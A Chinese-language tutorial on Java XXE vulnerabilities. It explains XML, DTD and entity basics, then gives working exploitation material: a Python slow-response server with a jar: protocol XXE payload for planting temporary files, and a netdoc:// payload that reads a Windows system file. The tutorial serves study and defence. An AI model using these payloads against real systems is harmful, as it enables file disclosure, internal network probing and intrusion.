Java XXE 漏洞
1 XML 基礎
XML(可擴展標記語言,EXtensible Markup Language ),是一種標記語言,用來傳輸和存儲數據
1.1 XML文檔結構
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML申明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]><!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>1.2 DTD
DTD(文檔類型定義,Document Type Definition )的作用是定義XML文檔的合法構建模塊。它使用一系列的合法元素來定義文檔結構。
DTD引用方式
1)DTD 內部聲明
<!DOCTYPE 根元素 [元素聲明]>2)DTD 外部引用
<!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI">3)引用公共DTD
<!DOCTYPE 根元素名稱 PUBLIC "DTD標識名" "公用DTD的URI">DTD 關鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
- ELEMENT(定義元素聲明)
PCDATA
PCDATA 的意思是被解析的字符數據(parsed character data)。
可把字符數據想象為 XML 元素的開始標簽與結束標簽之間的文本。
PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。
文本中的標簽會被當作標記來處理,而實體會被展開。
不過,被解析的字符數據不應當包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 實體來分別替換它們。
CDATA
CDATA 的意思是字符數據(character data)。
CDATA 是不會被解析器解析的文本。在這些文本中的標簽不會被當作標記來對待,其中的實體也不會被展開。
1.3 實體分類
實體可以理解為變量,其必須在DTD中定義申明,可以在文檔中的其他位置引用該變量的值。
實體按類型主要分為以下四種:
- 內置實體 (Built-in entities)
- 字符實體 (Character entities)
- 通用實體/普通實體 (General entities)
- 參數實體 (Parameter entities)
完整的實體類別可參考 DTD - Entities
1.3.1 內置實體 (Built-in entities)
- &符號: &
- 單引號: '
- >: >
- <: <
- 雙引號: "
1.3.2 字符實體 (Character entities)
通常是 html 的實體編碼,例如:
<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?> <!DOCTYPE author[<!ELEMENT author (#PCDATA)><!ENTITY copyright "©"> ]> <author>&writer;©right;</author>© 即 ?
1.3.3 普通實體 (General entities)
簡單理解即引用替換,語法:
<!ENTITY ename "text">Example:
<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY source-text "tutorialspoint"> ]><note>&source-text; </note>1.3.4 參數實體 (Parameter entities)
參數實體的目的是創建動態替換的文本節
語法:
<!ENTITY % ename "entity_value">- entity_value 可以是除 &, % 或 " 外所有字符
test323.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "test323.dtd"> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>test323.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;>參數實體必須先定義再使用,而不能像一般實體那樣隨意放置。
1.4 內部實體和外部實體
實體根據引用方式,還可分為內部實體與外部實體,看看這些實體的聲明方式。
內部實體:
<!ENTITY entity_name "entity_value">外部實體:
<!ENTITY name SYSTEM "URI/URL">1.5 通用實體和參數實體
其實按照使用來分類,又可以將實體分為通用實體和參數實體。
通用實體
用 &實體名; 引用的實體,他在DTD 中定義,在 XML 文檔中引用
參數實體
1.5.1 內部通用實體
語法:
<!ENTITY entity-name "entity-value">Example:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[<!ENTITY writer "Donald Duck."><!ENTITY copyright "Copyright runoob.com"> ]> <author>&writer;©right;</author>1.5.2 外部通用實體
語法:
<!ENTITY entity-name SYSTEM "URI/URL">Example:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"><!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd"> ]> <author>&writer;©right;</author>1.5.3 內部參數實體
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;> ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>1.5.4 外部參數實體
test323.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % (注意這里有個空格)content SYSTEM "test323.dtd"> %content; ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>test323.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT name (#PCDATA)> <!ELEMENT addr (#PCDATA)> <!ELEMENT tel (#PCDATA)> <!ELEMENT br EMPTY> <!ELEMENT email (#PCDATA)>2 Java XML 解析
Java XML 解析 主要相關的函數
javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader DocumentHelper.parseText DocumentBuilder org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester rg.xml.sax.SAXParseExceptionpublicId解析實例和防御方法可以查看:
http://www.lmxspace.com/2019/10/31/Java-XXE-總結/
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
3 Java XXE 利用
各平臺支持的協議如下
Java中的XXE支持sun.net.www.protocol里面的所有協議:http,https,file,ftp,mailto,jar,netdoc 。一般利用file協議讀取文件、利用http協議探測內網,沒有回顯時可利用file協議結合http協議或ftp協議來讀取文件。
Java XXE 的利用和 php 的查不多,總結一般的利用方式如下:
- file 協議讀文件
- 內網主機探測
- 內網端口探測
- DoS拒絕服務攻擊
詳細可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章帶你深入理解 XXE 漏洞/
區別于 PHP 的利用方式如下
3.1 jar:// 文件上傳
jar 協議語法,jar:{url}!/{entry},url是文件的路徑,entry是想要解壓出來的文件
jar 協議處理文件的過程:
那么延長服務器傳遞文件的時間,就可以延長臨時文件存在的時間
server.py,這里在傳輸最后一個字符的時候會 sleep 30s
import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1]class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self):http_req = b''print('New connection:',self.client_address)while b'\r\n\r\n' not in http_req:try:http_req += self.request.recv(4096)print('Client req:\r\n',http_req.decode())jf = open(jar_file, 'rb')contents = jf.read()headers = ('''HTTP/1.0 200 OK\r\n''''''Content-Type: application/java-archive\r\n\r\n''')self.request.sendall(headers.encode('ascii'))self.request.sendall(contents[:-1])time.sleep(30)print(30)self.request.sendall(contents[-1:])except Exception as e:print ("get error at:"+str(e))if __name__ == '__main__':jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()運行服務器,讓其監聽
然后 xxe 結合 jar 協議
<!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php"> ]> <convert>&remote;</convert>因為 1.zip 中并不存在 wm.php 這個文件,所以可以在報錯中看到臨時文件的位置
這里實際測試并不一定只能上傳 zip 格式的文件,但因為 jar 協議會對文件進行解包操作,如果不上傳 zip 格式文件在報錯里是看不到臨時文件路徑的,所以需要先正常上傳一次 zip 格式文件獲取路徑然后再上傳其他文件。
3.2 netdoc 協議
Java 中 netdoc 協議可以替代 file 協議功能,讀文件:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [<!ELEMENT creds ANY><!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">]> <creds>&xxe;</creds>同時也可以列目錄:
參考鏈接
-
https://thief.one/2017/06/20/1/
-
https://xz.aliyun.com/t/6829
-
一篇文章帶你深入理解 XXE 漏洞 - K0rz3n
-
https://www.smi1e.top/dsada/
總結
以上是生活随笔為你收集整理的Java XXE 漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 经典测试题总结
- 下一篇: httpclient使用代理ip